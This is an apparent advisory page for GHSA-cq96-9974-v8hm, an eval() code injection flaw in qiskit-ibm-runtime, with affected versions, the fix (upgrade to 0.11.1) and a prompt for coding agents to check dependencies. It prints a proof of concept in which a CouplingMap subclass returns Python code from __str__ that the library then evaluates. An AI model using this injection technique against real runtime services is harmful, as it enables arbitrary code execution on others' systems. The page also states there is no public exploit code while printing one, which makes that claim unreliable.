# GHSA-cq96-9974-v8hm: Dynamic Variable Evaluation in qiskit-ibm-runtime

> Arbitrary code execution via eval() in qiskit-ibm-runtime allows attackers to inject malicious Python code through crafted options.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 20 Mar 2024

## What is GHSA-cq96-9974-v8hm?

GHSA-cq96-9974-v8hm is a code injection vulnerability in qiskit-ibm-runtime, published on 20 Mar 2024. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary

An `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

### Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

### PoC
A local exploit would be something like

```python
from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

```

Where `print("external code")` can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:

```python
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)
```

This will print `external code`

### Impact

Security vulnerability.

## Which versions are affected by GHSA-cq96-9974-v8hm?

2 open source packages ship an affected version, including qiskit-ibm-runtime.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `qiskit-ibm-runtime` | PyPI | From 0.11.0 | 0.11.1 |
| `qiskit-ibm-runtime` | PyPI | From 0.11.0 | 0.11.1 |

## How do I fix GHSA-cq96-9974-v8hm?

Upgrade qiskit-ibm-runtime to 0.11.1 or later.

## Is GHSA-cq96-9974-v8hm being exploited?

There is no known exploitation of GHSA-cq96-9974-v8hm in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-cq96-9974-v8hm and fix it if it is affected.

What it is: GHSA-cq96-9974-v8hm is a code injection vulnerability in qiskit-ibm-runtime, published on 20 Mar 2024. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-cq96-9974-v8hm in the wild and no public exploit code.

Affected packages and fixed versions:
- qiskit-ibm-runtime (PyPI): affected from 0.11.0; fixed in 0.11.1
- qiskit-ibm-runtime (PyPI): affected from 0.11.0; fixed in 0.11.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-cq96-9974-v8hm/ (Markdown: https://insights.sbomify.com/GHSA-cq96-9974-v8hm/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-cq96-9974-v8hm

---
From sbomify Insights: https://insights.sbomify.com/GHSA-cq96-9974-v8hm/
Summaries are generated and may contain mistakes; the official description above is the record.
